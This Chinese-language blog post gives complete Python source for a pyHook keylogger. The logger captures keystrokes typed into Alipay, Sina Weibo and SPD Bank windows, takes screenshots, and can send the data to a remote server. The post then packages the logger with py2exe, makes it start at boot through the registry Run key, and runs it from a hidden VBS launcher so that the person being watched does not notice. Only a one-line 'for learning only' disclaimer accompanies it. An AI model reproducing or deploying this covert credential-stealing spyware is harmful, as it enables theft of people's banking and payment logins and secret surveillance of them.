1. 程式人生 > >pyHook監聽用戶鼠標、鍵盤事件

pyHook監聽用戶鼠標、鍵盤事件

word 日期 version 消息 彈出 lin .py cti ros

一、代碼部分:獲取用戶輸入信息,並與截圖一起保存到XX目錄下 # -*- coding: utf-8 -*- # import pythoncom import pyHook import time import socket from PIL import ImageGrab # #如果是遠程監聽某個目標電腦,可以自己架設一個服務器,然後將獲取到的信息發回給服務器 # def send_msg_to_server(msg): host="" port=1234 buf_size=1024 addr=(host,port) if len
(msg)>0: tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp_client_sock.connect(addr) info=time.strftime(‘%Y%m%d%H%M%S‘,time.localtime(time.time()))+‘ from ‘+socket.gethostname()+‘:‘ tcp_client_sock.sendall(info+msg) tcp_client_sock.close()
# #也可以將獲取到的信息保存到本地文件下 # def write_msg_to_txt(msg): f=open(‘D:/workspace/mytest/pyhook/media/monitor.txt‘,‘a‘) f.write(msg+‘\r\n‘) f.close() def onMouseEvent(event): # 監聽鼠標事件 global MSG if len(MSG)!=0: #send_msg_to_server(MSG) write_msg_to_txt(MSG)
MSG=‘‘ pic_name = time.strftime(‘%Y%m%d%H%M%S‘,time.localtime(time.time())) #將用戶屏幕截圖,保存到本地某個目錄下(也可以搞成遠程發送到自己的服務器) pic = ImageGrab.grab() pic.save(‘D:/workspace/mytest/pyhook/media/mouse_%s.png‘ % pic_name) return True def onKeyboardEvent(event): #監聽鍵盤事件 global MSG title= event.WindowName.decode(‘GBK‘) #通過網站title,判斷當前網站是否是“監聽目標” if title.find(u"支付寶") != -1 or title.find(u‘新浪微博‘)!=-1 or title.find(u‘浦發銀行‘)!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #send_msg_to_remote(MSG) write_msg_to_txt(MSG) MSG = ‘‘ #屏幕抓圖實現 pic_name = time.strftime(‘%Y%m%d%H%M%S‘,time.localtime(time.time())) pic = ImageGrab.grab() #保存成為以日期命名的圖片 pic.save(‘D:/workspace/mytest/pyhook/media/keyboard_%s.png‘ % pic_name) return True if __name__ == "__main__": MSG = ‘‘ #創建hook句柄 hm = pyHook.HookManager() #監控鼠標 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #監控鍵盤 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循環獲取消息 pythoncom.PumpMessages() 二、用py2exe將腳本打包: 新建一個py文件setup.py,內容如下: from distutils.core import setup import py2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"]) 命令行執行以下命令: python setup.py py2exe 三、將該程序設置為開機自動啟動: 法①: 將需要開機啟動的文件(創建一個快捷方式,然後)放到“開始/所有程序/啟動”目錄下 法②: 修改註冊表:命令行— regedit ,然後到以下路徑下: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] 新建一個“字符串值”,然後編輯:設置exe文件所在路徑 D:\workspace\mytest\pyhook\dist\monitor.exe (以上兩種方式啟動monitor.exe的話,會彈出一個命令框,顯示監聽日誌信息,這樣的話,被監聽的人一下就能發現了,可以試試下面這個方式) 法③: 新建一個 .vbs文件,內容如下: set wscriptObj = CreateObject("Wscript.Shell") wscriptObj.run “D:\workspace\mytest\pyhook\dist\monitor.exe",0 雙擊運行該vbs文件,則monitor.exe就在後臺啟動了(不會彈出一個大黑框)。 然後參考法①、② 把該vbs設置成開機啟動即可。 附言: 1、該程序涉及到一些模塊都需要自己安裝一下; 2、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實路徑; 3、代碼僅供分享、學習,請勿幹非法的事; 4、我也是初學,所以請隨便噴;

pyHook監聽用戶鼠標、鍵盤事件